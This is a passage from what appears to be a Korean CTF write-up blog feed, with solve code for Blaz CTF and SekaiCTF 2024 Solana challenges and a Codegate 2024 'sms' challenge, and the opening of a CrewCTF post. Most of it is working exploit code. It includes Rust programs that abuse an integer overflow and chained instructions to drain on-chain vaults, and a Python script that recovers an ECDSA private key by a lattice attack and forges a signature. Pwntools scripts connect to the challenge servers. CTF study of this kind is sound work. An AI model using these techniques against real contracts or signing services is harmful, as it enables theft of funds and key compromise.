            let mut cont = struct_to_vec(&amp;amp;input);
            
            let back = vec![148, 53, 119, 0, 0, 0, 0];
            cont.extend(back);

            let withdraw = Instruction::new_with_bytes(
                program.key.clone(),
                &amp;amp;cont,
                vec![
                    AccountMeta::new(user.key.clone(), true),
                    AccountMeta::new(vault_account.key.clone(), false),
                    AccountMeta::new(balance_account.key.clone(), false),
                    AccountMeta::new_readonly(program.key.clone(), false),
                    AccountMeta::new_readonly(system_program.key.clone(), false),
                    AccountMeta::new(balance_account.key.clone(), false),
                ],
            );
    
            invoke(&amp;amp;withdraw, 
                &amp;amp;[
                    user.clone(),
                    vault_account.clone(),
                    balance_account.clone(),
                    program.clone(),
                    system_program.clone(),
                    config_account.clone(),
            ]);
        }

        Ok(())        
    }&lt;/code&gt;&lt;/pre&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&amp;nbsp;&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&amp;nbsp;&lt;/p&gt;
&lt;pre id=&quot;code_1728393893041&quot; class=&quot;python&quot; data-ke-language=&quot;python&quot; data-ke-type=&quot;codeblock&quot;&gt;&lt;code&gt;# sample solve script to interface with the server
import pwn
from pwn import *
context.log_level = 'debug'

# if you don't know what this is doing, look at server code and also sol-ctf-framework read_instruction:
# https://github.com/otter-sec/sol-ctf-framework/blob/rewrite-v2/src/lib.rs#L237
# feel free to change the accounts and ix data etc. to whatever you want
account_metas = [
    (&quot;user&quot;,           &quot;sw&quot;), # signer + writable
    (&quot;program&quot;,        &quot;-r&quot;), # read only
    (&quot;system program&quot;, &quot;-r&quot;), # read only
    (&quot;config_account&quot;, &quot;w&quot;), 
    (&quot;vault_account&quot;,  &quot;w&quot;),
    (&quot;balance_account&quot;,&quot;w&quot;), 
]

# local

# HOST = &quot;127.0.0.1&quot;
# PORT = 31337
# p = pwn.remote(HOST, PORT)

# remote

HOST = &quot;safusol.chal.ctf.so&quot;
PORT = 1337
p = remote(HOST, PORT)
print(p.recvuntil(&quot;Solution? &quot;))
p.sendline(input())

pause()

with open(&quot;./my_solve/target/deploy/my_solve.so&quot;, &quot;rb&quot;) as f:
    solve = f.read()
sleep(1)
p.sendlineafter(b&quot;program pubkey: \n&quot;, b&quot;FuzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzLand&quot;, timeout=100)
sleep(1)
p.sendlineafter(b&quot;: \n&quot;, str(len(solve)).encode(), timeout=100)
p.send(solve)

accounts = {
    &quot;system program&quot;: &quot;11111111111111111111111111111111&quot;,
}

from solders.pubkey import Pubkey
import base58





for l in p.recvuntil(b&quot;num accounts: \n&quot;, drop=True).strip().split(b&quot;\n&quot;):
    [name, pubkey] = l.decode().split(&quot;: &quot;)
    accounts[name] = pubkey


CONFIG_SEED = b&quot;CONFIG&quot;
VAULT_SEED = b&quot;VAULT&quot;
BALANCE_SEED = b&quot;BALANCE&quot;

new_acct = Pubkey([0] * 31 + [0])
data_account, _ = new_acct.find_program_address(
    seeds=[CONFIG_SEED],
    program_id=Pubkey(list(base58.b58decode(accounts['program']))),
)
accounts[&quot;config_account&quot;] = data_account

new_acct = Pubkey([0] * 31 + [0])
data_account, _ = new_acct.find_program_address(
    seeds=[VAULT_SEED],
    program_id=Pubkey(list(base58.b58decode(accounts['program']))),
)
accounts[&quot;vault_account&quot;] = data_account

new_acct = Pubkey([0] * 31 + [0])
data_account, _ = new_acct.find_program_address(
    seeds=[BALANCE_SEED, base58.b58decode(accounts['user'])],
    program_id=Pubkey(list(base58.b58decode(accounts['program']))),
)
accounts[&quot;balance_account&quot;] = data_account


instruction_data = b&quot;&quot;

p.sendline(str(len(account_metas)).encode())
for name, perms in account_metas:
    p.sendline(f&quot;{perms} {accounts[name]}&quot;.encode())

p.sendlineafter(b&quot;ix len: \n&quot;, str(len(instruction_data)).encode())
p.send(instruction_data)

p.interactive()&lt;/code&gt;&lt;/pre&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&amp;nbsp;&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&amp;nbsp;&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&amp;nbsp;&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&amp;nbsp;&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&amp;nbsp;&lt;/p&gt;
&lt;h3 data-ke-size=&quot;size23&quot;&gt;solalloc&lt;/h3&gt;
&lt;pre id=&quot;code_1728393937632&quot; class=&quot;rs rust&quot; data-ke-language=&quot;rs&quot; data-ke-type=&quot;codeblock&quot;&gt;&lt;code&gt;#![cfg(not(feature = &quot;no-entrypoint&quot;))]

use std::ops::Deref;

use solana_program::declare_id;
use solana_program::account_info::next_account_info;
use solana_program::program::invoke;

use solana_program::{
    account_info::AccountInfo,
    entrypoint,
    entrypoint::ProgramResult,
    instruction::{AccountMeta, Instruction},
    pubkey::Pubkey,
    msg,
};
use std::rc::Rc;


declare_id!(&quot;FuzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzLand&quot;);




use std::mem;
use std::slice;

// Rust에서 C 구조체와 동일한 구조체 정의
#[repr(C, packed)]
struct UserInput {
    bump: u8,
    input_type: u8,
    amount: u64,
    msg_size: u64,
    msg: [u8; 0], // C의 flexible array member를 흉내내기 위해 0 길이 배열 사용
}

// C 구조체를 Vec&amp;lt;u8&amp;gt;으로 변환하는 함수
fn struct_to_vec(input: &amp;amp;UserInput, message: &amp;amp;[u8]) -&amp;gt; Vec&amp;lt;u8&amp;gt; {
    // UserInput 구조체 크기 계산 (msg 제외)
    let base_size = mem::size_of::&amp;lt;UserInput&amp;gt;();
    // 전체 크기는 기본 구조체 크기 + 메시지 길이
    let total_size = base_size + message.len();

    // 빈 Vec&amp;lt;u8&amp;gt; 생성
    let mut buffer: Vec&amp;lt;u8&amp;gt; = Vec::with_capacity(total_size);

    // 구조체 포인터를 바이트 슬라이스로 변환하여 Vec에 추가
    let input_slice = unsafe {
        slice::from_raw_parts(
            input as *const UserInput as *const u8,
            base_size
        )
    };
    buffer.extend_from_slice(input_slice);

    // 메시지를 Vec에 추가
    buffer.extend_from_slice(message);

    buffer
}


entrypoint!(process_instruction);
    fn process_instruction(
        program_id: &amp;amp;Pubkey,
        accounts: &amp;amp;[AccountInfo],
        instruction_data: &amp;amp;[u8],
    ) -&amp;gt; ProgramResult {

        let account_iter = &amp;amp;mut accounts.iter();
        let user = next_account_info(account_iter)?;
        let program = next_account_info(account_iter)?;
        let system_program = next_account_info(account_iter)?;
        let admin = next_account_info(account_iter)?;
        let data_account = next_account_info(account_iter)?;
        
        {
            let mut start: Vec&amp;lt;u8&amp;gt; = vec![2];

            let (data_addr, data_bump) = Pubkey::find_program_address(&amp;amp;[&quot;BLAZ&quot;.as_bytes()], &amp;amp;program.key);

            let input = UserInput {
                bump: data_bump,
                input_type: 1, // deposit
                amount: 0,
                msg_size: 18446744069414584320 + 0xfe0 - 8 - 32, // (1u64 &amp;lt;&amp;lt; 64) - 0x300000000 + 0x200000000,
                msg: [], // 메시지는 따로 처리할 것이므로 비워둠
            };
        
            let message: &amp;amp;[u8] = &amp;amp;[0]; 
        
            let mut cont1 = struct_to_vec(&amp;amp;input, message);





            let input = UserInput {
                bump: data_bump,
                input_type: 2, // withdraw
                amount: 2000000000,
                msg_size: 32, // (1u64 &amp;lt;&amp;lt; 64) - 0x300000000 + 0x200000000,
                msg: [], // 메시지는 따로 처리할 것이므로 비워둠
            };
        
            let message: &amp;amp;[u8] = &amp;amp;[admin.key.to_bytes()[0]]; 
        
            // 구조체와 메시지를 Vec&amp;lt;u8&amp;gt;으로 변환
            let mut cont2 = struct_to_vec(&amp;amp;input, message);
            let inp = [start, cont1, cont2, admin.key.to_bytes()[1..].to_vec(), vec![0]].concat();
            
            
            
            // let inp = [start, cont1].concat();



            let register = Instruction::new_with_bytes(
                program.key.clone(),
                &amp;amp;inp,
                vec![
                    AccountMeta::new(user.key.clone(), true),
                    AccountMeta::new(data_account.key.clone(), false),
                    AccountMeta::new_readonly(program.key.clone(), false),
                    AccountMeta::new_readonly(system_program.key.clone(), false),
                ],
            );
    






            invoke(&amp;amp;register, 
                &amp;amp;[
                    user.clone(),
                    program.clone(),
                    system_program.clone(),
                    admin.clone(),
                    data_account.clone(),
            ]);
        }

        Ok(())        
    }&lt;/code&gt;&lt;/pre&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&amp;nbsp;&lt;/p&gt;
&lt;pre id=&quot;code_1728393956038&quot; class=&quot;python&quot; data-ke-language=&quot;python&quot; data-ke-type=&quot;codeblock&quot;&gt;&lt;code&gt;# sample solve script to interface with the server
import pwn

# if you don't know what this is doing, look at server code and also sol-ctf-framework read_instruction:
# https://github.com/otter-sec/sol-ctf-framework/blob/rewrite-v2/src/lib.rs#L237
# feel free to change the accounts and ix data etc. to whatever you want
account_metas = [
    (&quot;user&quot;,           &quot;sw&quot;), # signer + writable
    (&quot;program&quot;,        &quot;-r&quot;), # read only
    (&quot;system program&quot;, &quot;-r&quot;), # read only
    (&quot;admin&quot;,          &quot;w&quot;), 
    (&quot;data_account&quot;, &quot;w&quot;),
]

# HOST = &quot;localhost&quot;
HOST = &quot;solalloc.chal.ctf.so&quot;
PORT = 1337
p = pwn.remote(HOST, PORT)

with open(&quot;my_solve/target/deploy/my_solve.so&quot;, &quot;rb&quot;) as f:
    solve = f.read()

p.sendlineafter(b&quot;program pubkey: \n&quot;, b&quot;FuzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzLand&quot;)
p.sendlineafter(b&quot;program len: \n&quot;, str(len(solve)).encode())
p.send(solve)

accounts = {
    &quot;system program&quot;: &quot;11111111111111111111111111111111&quot;,
}

for l in p.recvuntil(b&quot;num accounts: \n&quot;, drop=True).strip().split(b&quot;\n&quot;):
    [name, pubkey] = l.decode().split(&quot;: &quot;)
    accounts[name] = pubkey

from solders.pubkey import Pubkey
import base58

LIVE_BONUS_SEED = b&quot;BLAZ&quot;

new_acct = Pubkey([0] * 31 + [0])
data_account, _ = new_acct.find_program_address(
    seeds=[LIVE_BONUS_SEED],
    program_id=Pubkey(list(base58.b58decode(accounts['program']))),
)
accounts[&quot;data_account&quot;] = data_account


instruction_data = b&quot;&quot;

p.sendline(str(len(account_metas)).encode())
for name, perms in account_metas:
    p.sendline(f&quot;{perms} {accounts[name]}&quot;.encode())

p.sendlineafter(b&quot;ix len: \n&quot;, str(len(instruction_data)).encode())
p.send(instruction_data)

print(accounts)
print(account_metas)

p.interactive()&lt;/code&gt;&lt;/pre&gt;</description>
      <category>writeups</category>
      <author>gss1</author>
      <guid isPermaLink="true">https://gss1.tistory.com/195</guid>
      <comments>https://gss1.tistory.com/entry/2024-Blaz-CTF-solana-challs#entry195comment</comments>
      <pubDate>Tue, 8 Oct 2024 22:58:55 +0900</pubDate>
    </item>
    <item>
      <title>2024 codegate - sms</title>
      <link>https://gss1.tistory.com/entry/2024-codegate-sms</link>
      <description>&lt;p data-ke-size=&quot;size16&quot;&gt;&amp;nbsp;&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;pwn+crypto?&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&amp;nbsp;&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&amp;nbsp;&lt;/p&gt;
&lt;pre id=&quot;code_1725382065401&quot; class=&quot;python&quot; data-ke-language=&quot;python&quot; data-ke-type=&quot;codeblock&quot;&gt;&lt;code&gt;__import__(&quot;os&quot;).environ[&quot;TERM&quot;] = &quot;xterm-256color&quot;


from pwn import *

from cryptography.hazmat.primitives.asymmetric.utils import decode_dss_signature, encode_dss_signature
from binascii import unhexlify, hexlify

import warnings
warnings.filterwarnings(&quot;ignore&quot;, category=BytesWarning)
# context.log_level = &quot;debug&quot;

# r = process(&quot;./chall&quot;)
r = remote(&quot;13.209.82.80&quot;, 5333)


def register(id, pw):
    r.sendlineafter(&quot;Enter choice: &quot;, &quot;1&quot;)
    r.sendlineafter(&quot;Enter name: &quot;, id)
    r.sendlineafter(&quot;Enter role: &quot;, &quot;admin&quot;)
    r.sendlineafter(&quot;Enter password: &quot;, pw)

def login(id, pw):
    r.sendlineafter(&quot;Enter choice: &quot;, &quot;2&quot;)
    r.sendlineafter(&quot;Enter name: &quot;, id)
    r.sendlineafter(&quot;Enter password: &quot;, pw)

def update_role(id, role):
    r.sendlineafter(&quot;Enter choice: &quot;, &quot;3&quot;)
    r.sendlineafter(&quot;Enter name: &quot;, id)
    r.sendlineafter(&quot;Enter a new role: &quot;, role)

def reset_password(pw):
    r.sendlineafter(&quot;Enter choice: &quot;, &quot;4&quot;)
    r.sendlineafter(&quot;Enter new password: &quot;, pw)

def sig(msg):
    r.sendlineafter(&quot;Enter choice: &quot;, &quot;5&quot;)
    r.sendlineafter(&quot;Enter message: &quot;, msg)
    r.recvuntil(&quot;Message: &quot;)
    used_msg = r.recvline()[:-1]
    r.recvuntil(&quot;Sig: &quot;)
    used_sig = r.recvline()[:-1]
    der_signature = unhexlify(used_sig)
    r_, s = decode_dss_signature(der_signature)
    # return used_msg, used_sig
    return r_, s

def reset_nonce():
    r.sendlineafter(&quot;Enter choice: &quot;, str(0xdeadbeef))


list_r = []
list_s = []
list_hm = []

register(str(1), str(1)*2)
login(str(1), str(1)*2)
update_role(&quot;admin&quot;, &quot;a&quot; * 32)
login(&quot;admin&quot;, b&quot;\x00&quot;)


import os

num = 150

for _ in range(num):
    reset_password(&quot;a&quot;*32)
    m = os.urandom(8).hex().encode()
    r_, s_ = sig(m)
    reset_nonce()
    list_r.append(r_)
    list_s.append(s_)
    list_hm.append(int(hashlib.sha256(m).hexdigest(), 16))


from Crypto.Util.number import *

n = 0xffffffff00000000ffffffffffffffffbce6faada7179e84f3b9cac2fc632551
ln = len(list_r)
R = 2**248
A = Matrix(QQ, ln+2, ln+2)
for i in range(ln):
    r_ = list_r[i]
    s = list_s[i]
    hm = list_hm[i]
    tm = inverse(s, n) * r_
    am = -inverse(s, n) * hm
    A[i, i] = n
    A[ln, i] = tm
    A[ln+1, i] = am 

A[ln, ln] = R/n
A[ln+1, ln+1] = R



from ecdsa import NIST256p, ellipticcurve, numbertheory

# P-256 타원 곡선 설정
curve = NIST256p.curve
generator = NIST256p.generator
order = generator.order()

B = A.LLL()
for row in B:
    if row[-1] == R:
        d = int(row[-2] * n // R) % n
        print(&quot;개인키&quot;, d)
        print(&quot;개인키2&quot;, order - d)
        
        t = generator * d
        print(&quot;공개키&quot;, t.to_affine())


        t = generator * (order - d)
        print(&quot;공개키2&quot;, t.to_affine())

        d = order - d

        break

r.sendlineafter(&quot;Enter choice: &quot;, str(6))
r.sendlineafter(&quot;Enter name: &quot;, &quot;admin&quot;)
pem_key = r.recvuntil(&quot;1.&quot;)[:-2]


from cryptography.hazmat.primitives import serialization
from cryptography.hazmat.backends import default_backend
import base64
import gmpy2

# 공개키 로드
public_key = serialization.load_pem_public_key(pem_key, backend=default_backend())

# 공개키에서 숫자 좌표 추출
numbers = public_key.public_numbers()
Qx = numbers.x
Qy = numbers.y

print(&quot;공개키&quot;, Qx, Qy)

curve = NIST256p.curve
a = curve.a()
b = curve.b()
p = curve.p()

# 특정 x 값 설정
x = Qx

# y^2 계산
rhs = (pow(x, 3, p) + a * x + b) % p

# y 계산 (모듈로 p에서의 제곱근)
y1 = gmpy2.powmod(rhs, (p + 1) // 4, p)  # 양의 제곱근
y2 = (-y1) % p  # 음의 제곱근

# 결과 출력
print(&quot;x:&quot;, x)
print(&quot;y1:&quot;, y1)
print(&quot;y2:&quot;, y2)


from ecdsa import SigningKey, NIST256p, BadSignatureError


curve = NIST256p

# 개인키 생성 (개인키 d를 사용하여 생성)
# private_key = SigningKey.from_secret_exponent(d, curve=curve)

# 메시지 정의
message = b&quot;SHOW ME THE FLAG&quot;

# 메시지 서명 생성
# signature = private_key.sign(message)

# rr, ss = decode_dss_signature(signature)

# # r과 s 값을 DER 형식의 서명으로 인코딩
# signature_der = encode_dss_signature(rr, ss)

# # 서명을 16진수 문자열로 변환하여 출력
# signature_hex = signature_der.hex()
# print(&quot;DER 형식의 서명 (hex):&quot;, signature_hex)

z = int.from_bytes(hashlib.sha256(message).digest(), byteorder='big')

# # 랜덤 값 k 선택
k = 156165121

# # R 계산 (R = k * G)
R = k * generator

# # r 계산 (R의 x 좌표를 사용)
r_ = R.x() % order

from ecdsa import NIST256p, ellipticcurve, numbertheory

# k의 모듈러 역수 계산
k_inv = numbertheory.inverse_mod(k, order)

# s 계산
s_ = (k_inv * (z + r_ * d)) % order

r_ = int(r_)
s_ = int(s_)

# r과 s 출력
print(&quot;r:&quot;, r_)
print(&quot;s:&quot;, s_)


# public_key = private_key.get_verifying_key()
# print(public_key.verify(signature, message))

from ecdsa import SigningKey, NIST256p, util
# rr, ss = util.sigdecode_string(signature, private_key.curve.order)

print(f&quot;r: {r_}&quot;)
print(f&quot;s: {s_}&quot;)

sig_ = encode_dss_signature(r_, s_).hex()

assert r_, s_ == decode_dss_signature(sig_)

print(sig_)


r.sendlineafter(&quot;Enter choice: &quot;, str(0x13371337))
r.sendlineafter(&quot;Enter MessageLen: &quot;, str(len(message) + 1))
msg = message.hex() + &quot;00&quot;
r.recvuntil(&quot;Enter Message: &quot;)
for i in range(0, len(msg), 2):
    r.sendline(msg[i:i+2])
r.sendlineafter(&quot;Enter sigLen: &quot;, str(len(sig_)//2))
r.recvuntil(&quot;Enter sig: &quot;)
for i in range(0, len(sig_), 2):
    r.sendline(sig_[i:i+2])

r.interactive()&lt;/code&gt;&lt;/pre&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&amp;nbsp;&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&amp;nbsp;&lt;/p&gt;</description>
      <category>writeups</category>
      <author>gss1</author>
      <guid isPermaLink="true">https://gss1.tistory.com/193</guid>
      <comments>https://gss1.tistory.com/entry/2024-codegate-sms#entry193comment</comments>
      <pubDate>Wed, 4 Sep 2024 01:47:52 +0900</pubDate>
    </item>
    <item>
      <title>SekaiCTF 2024 - solana</title>
      <link>https://gss1.tistory.com/entry/SekaiCTF-2024-solana</link>
      <description>&lt;p data-ke-size=&quot;size16&quot;&gt;&amp;nbsp;&lt;/p&gt;
&lt;pre id=&quot;code_1724634814989&quot; class=&quot;python&quot; data-ke-language=&quot;python&quot; data-ke-type=&quot;codeblock&quot;&gt;&lt;code&gt;import hashlib

keccak_hash = hashlib.sha256()

data = b&quot;global:test_test&quot; # testTest
data = b&quot;global:claim_liveBonus&quot; # claimLiveBonus
keccak_hash.update(data)

hash_result = keccak_hash.hexdigest()[:16]

hash_result = bytes.fromhex(hash_result)
hash_result = list(hash_result)
print(f&quot;sha256 : {hash_result}&quot;)

'''
[211, 124, 67, 15, 211, 194, 178, 240]
[216, 121, 131, 75, 232, 154, 71, 25]
[213, 157, 193, 142, 228, 56, 248, 150]
[47, 3, 27, 97, 215, 236, 219, 144]
'''&lt;/code&gt;&lt;/pre&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&amp;nbsp;&lt;/p&gt;
&lt;pre id=&quot;code_1724634766363&quot; class=&quot;rust&quot; data-ke-language=&quot;rust&quot; data-ke-type=&quot;codeblock&quot;&gt;&lt;code&gt;#![cfg(not(feature = &quot;no-entrypoint&quot;))]

use std::ops::Deref;

use solana_program::declare_id;
use borsh::{BorshDeserialize, BorshSerialize};
use solana_program::account_info::next_account_info;
use solana_program::program::invoke;

use solana_program::{
    account_info::AccountInfo,
    entrypoint,
    entrypoint::ProgramResult,
    instruction::{AccountMeta, Instruction},
    pubkey::Pubkey,
    msg,
};
use std::rc::Rc;


declare_id!(&quot;So1bCJvDc3p3PoqbVB33h4qyHrPzikCeDfQ5kpAmjV6&quot;);



entrypoint!(process_instruction);
    fn process_instruction(
        program_id: &amp;amp;Pubkey,
        accounts: &amp;amp;[AccountInfo],
        instruction_data: &amp;amp;[u8],
    ) -&amp;gt; ProgramResult {

        let account_iter = &amp;amp;mut accounts.iter();
        let program = next_account_info(account_iter)?;
        let data_account = next_account_info(account_iter)?;
        let user = next_account_info(account_iter)?;
        let user_data = next_account_info(account_iter)?;
        let sp = next_account_info(account_iter)?;
        let livebonus = next_account_info(account_iter)?;
        let eventinfo = next_account_info(account_iter)?;
        let clock = next_account_info(account_iter)?;

        // for debug
        {
            let str = Rc::deref(&amp;amp;Rc::clone(&amp;amp;data_account.data)).borrow().deref();
            msg!(&amp;amp;format!(&quot;{:?}&quot;, Rc::deref(&amp;amp;Rc::clone(&amp;amp;data_account.data)).borrow().deref()));
            msg!(&amp;amp;format!(&quot;{:?}&quot;, data_account.owner));
        }

        //// register
        {
            let mut cont: Vec&amp;lt;u8&amp;gt; = vec![211, 124, 67, 15, 211, 194, 178, 240];

            let register = Instruction::new_with_bytes(
                program.key.clone(),
                &amp;amp;cont,
                vec![
                    AccountMeta::new(user.key.clone(), true),
                    AccountMeta::new(livebonus.key.clone(), false),
                    AccountMeta::new(eventinfo.key.clone(), false),
                    AccountMeta::new_readonly(sp.key.clone(), false),
                ],
            );
    
            invoke(&amp;amp;register, 
                &amp;amp;[
                    user_data.clone(),
                    data_account.clone(),
                    user.clone(),
                    program.clone(),
                    sp.clone(),
                    livebonus.clone(),
                    eventinfo.clone(),
                    clock.clone(),
            ]);
        }


        //// claim
        {
            let mut cont: Vec&amp;lt;u8&amp;gt; = vec![77, 150, 206, 136, 38, 221, 202, 1];
            // let mut cont2: Vec&amp;lt;u8&amp;gt; = vec![0, 0, 0, 0, 0, 0, 0, 0];

            // cont.append(&amp;amp;mut cont2);

            let claim = Instruction::new_with_bytes(
                program.key.clone(),
                &amp;amp;cont,
                vec![
                    AccountMeta::new(user.key.clone(), true),
                    AccountMeta::new(eventinfo.key.clone(), false),
                    AccountMeta::new_readonly(clock.key.clone(), false),
                ],
            );
    
            invoke(&amp;amp;claim, 
                &amp;amp;[
                    user_data.clone(),
                    data_account.clone(),
                    user.clone(),
                    program.clone(),
                    sp.clone(),
                    livebonus.clone(),
                    eventinfo.clone(),
                    clock.clone(),
            ]);
        }


        //// exchange
        {
            let mut cont: Vec&amp;lt;u8&amp;gt; = vec![47, 3, 27, 97, 215, 236, 219, 144];
            let mut cont2: Vec&amp;lt;u8&amp;gt; = vec![0, 0, 0, 0, 0, 0, 0, 0];

            cont.append(&amp;amp;mut cont2);

            let exchange = Instruction::new_with_bytes(
                program.key.clone(),
                &amp;amp;cont,
                vec![
                    AccountMeta::new(data_account.key.clone(), false),
                    AccountMeta::new(user.key.clone(), true),
                    AccountMeta::new(eventinfo.key.clone(), false),
                    AccountMeta::new(eventinfo.key.clone(), false),
                ],
            );
    
            invoke(&amp;amp;exchange, 
                &amp;amp;[
                    user_data.clone(),
                    data_account.clone(),
                    user.clone(),
                    program.clone(),
                    sp.clone(),
                    livebonus.clone(),
                    eventinfo.clone(),
                    clock.clone(),
            ]);
        }


        {
            let mut cont: Vec&amp;lt;u8&amp;gt; = vec![47, 3, 27, 97, 215, 236, 219, 144];
            let mut cont2: Vec&amp;lt;u8&amp;gt; = vec![0, 0, 0, 0, 0, 0, 0, 0];

            cont.append(&amp;amp;mut cont2);

            let exchange = Instruction::new_with_bytes(
                program.key.clone(),
                &amp;amp;cont,
                vec![
                    AccountMeta::new(data_account.key.clone(), false),
                    AccountMeta::new(user.key.clone(), true),
                    AccountMeta::new(eventinfo.key.clone(), false),
                    AccountMeta::new(eventinfo.key.clone(), false),
                ],
            );
    
            invoke(&amp;amp;exchange, 
                &amp;amp;[
                    user_data.clone(),
                    data_account.clone(),
                    user.clone(),
                    program.clone(),
                    sp.clone(),
                    livebonus.clone(),
                    eventinfo.clone(),
                    clock.clone(),
            ]);
        }

        Ok(())        
    }&lt;/code&gt;&lt;/pre&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&amp;nbsp;&lt;/p&gt;
&lt;pre id=&quot;code_1724634728707&quot; class=&quot;python&quot; data-ke-language=&quot;python&quot; data-ke-type=&quot;codeblock&quot;&gt;&lt;code&gt;# sample solve script to interface with the server
import pwn

# if you don't know what this is doing, look at server code and also sol-ctf-framework read_instruction:
# https://github.com/otter-sec/sol-ctf-framework/blob/rewrite-v2/src/lib.rs#L237
# feel free to change the accounts and ix data etc. to whatever you want
account_metas = [
    (&quot;program&quot;, &quot;-r&quot;),  # read only
    (&quot;data account&quot;, &quot;-w&quot;),  # writable
    (&quot;user&quot;, &quot;sw&quot;),  # signer + writable
    (&quot;user data&quot;, &quot;sw&quot;),
    (&quot;system program&quot;, &quot;-r&quot;),
    (&quot;livebonus&quot;, &quot;-w&quot;),  # writable
    (&quot;eventinfo&quot;, &quot;-w&quot;),  # writable
    (&quot;clock&quot;, &quot;-r&quot;),
]
instruction_data = b&quot;placeholder&quot;

HOST = &quot;ibennto.chals.sekai.team&quot;
# HOST = &quot;127.0.0.1&quot;
PORT = 1337
p = pwn.remote(HOST, PORT, ssl=True)

with open(&quot;./solve/target/deploy/solve.so&quot;, &quot;rb&quot;) as f:
    solve = f.read()

p.sendlineafter(b&quot;program pubkey: \n&quot;, b&quot;So1bCJvDc3p3PoqbVB33h4qyHrPzikCeDfQ5kpAmjV6&quot;)
p.sendlineafter(b&quot;program len: \n&quot;, str(len(solve)).encode())
p.send(solve)

accounts = {}
for l in p.recvuntil(b&quot;num accounts: \n&quot;, drop=True).strip().split(b&quot;\n&quot;):
    [name, pubkey] = l.decode().split(&quot;: &quot;)
    accounts[name] = pubkey

accounts[&quot;system program&quot;] = &quot;11111111111111111111111111111111&quot;


from solders.pubkey import Pubkey
import base58
LIVE_BONUS_SEED = b&quot;LiveBonus&quot;
EVENT_INFO_SEED = b&quot;EventInfo&quot;

new_acct = Pubkey([0] * 31 + [0])
livebonus, _ = new_acct.find_program_address(
    seeds=[LIVE_BONUS_SEED, base58.b58decode(accounts['user'])],
    program_id=Pubkey(list(base58.b58decode(accounts['program']))),
)
eventinfo, _ = new_acct.find_program_address(
    seeds=[EVENT_INFO_SEED, base58.b58decode(accounts['user'])],
    program_id=Pubkey(list(base58.b58decode(accounts['program']))),
)

accounts[&quot;livebonus&quot;] = livebonus
accounts[&quot;eventinfo&quot;] = eventinfo
accounts[&quot;clock&quot;] = &quot;SysvarC1ock11111111111111111111111111111111&quot;

print(accounts)

p.sendline(str(len(account_metas)).encode())
for name, perms in account_metas:
    p.sendline(f&quot;{perms} {accounts[name]}&quot;.encode())
p.sendlineafter(b&quot;ix len: \n&quot;, str(len(instruction_data)).encode())
p.send(instruction_data)

p.interactive()&lt;/code&gt;&lt;/pre&gt;</description>
      <category>writeups</category>
      <author>gss1</author>
      <guid isPermaLink="true">https://gss1.tistory.com/192</guid>
      <comments>https://gss1.tistory.com/entry/SekaiCTF-2024-solana#entry192comment</comments>
      <pubDate>Mon, 26 Aug 2024 10:14:00 +0900</pubDate>
    </item>
    <item>
      <title>CrewCTF 2024 - blockchain(lightbook)</title>
      <link>https://gss1.tistory.com/entry/CrewCTF-2024-blockchain-lightbook</link>
      <description>&lt;p&gt;&lt;figure class=&quot;imageblock alignLeft&quot; data-ke-mobileStyle=&quot;widthOrigin&quot; data-origin-width=&quot;680&quot; data-origin-height=&quot;636&quot;&gt;&lt;span data-url=&quot;https://blog.kakaocdn.net/dn/l5C9T/btsIV45jcON/ncfhqgmxbK4rDLC2owrWu1/img.png&quot; data-phocus=&quot;https://blog.kakaocdn.net/dn/l5C9T/btsIV45jcON/ncfhqgmxbK4rDLC2owrWu1/img.png&quot;&gt;&lt;img src=&quot;https://blog.kakaocdn.net/dn/l5C9T/btsIV45jcON/ncfhqgmxbK4rDLC2owrWu1/img.png&quot; srcset=&quot;https://img1.daumcdn.net/thumb/R1280x0/?scode=mtistory2&amp;fname=https%3A%2F%2Fblog.kakaocdn.net%2Fdn%2Fl5C9T%2FbtsIV45jcON%2FncfhqgmxbK4rDLC2owrWu1%2Fimg.png&quot; onerror=&quot;this.onerror=null; this.src='//t1.daumcdn.net/tistory_admin/static/images/no-image-v1.png'; this.srcset='//t1.daumcdn.net/tistory_admin/static/images/no-image-v1.png';&quot; loading=&quot;lazy&quot; width=&quot;300&quot; height=&quot;281&quot; data-origin-width=&quot;680&quot; data-origin-height=&quot;636&quot;/&gt;&lt;/span&gt;&lt;/figure&gt;
&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&lt;br /&gt;&lt;br /&gt;&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;I create a sui move challenge in CrewCTF 2024, &lt;a href=&quot;https://github.com/kangsangsoo/CTF-Writeups/tree/main/CrewCTF%202024/lightbook/challenge&quot; target=&quot;_blank&quot; rel=&quot;noopener&quot;&gt;lightbook&lt;/a&gt;.&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;This is a 1-day challenge of &lt;b&gt;deepbook-v2&lt;/b&gt; based on &lt;span&gt;&lt;/span&gt;&lt;a href=&quot;https://github.com/MystenLabs/sui/commit/f2651e9bb0e40cdf24b2d0656a76f3f60f7847d2&quot;&gt;https://github.com/MystenLabs/sui/commit/f2651e9bb0e40cdf24b2d0656a76f3f60f7847d2&lt;/a&gt;, which was my interesting finding from the codebase audited by zellic.&lt;/p&gt;
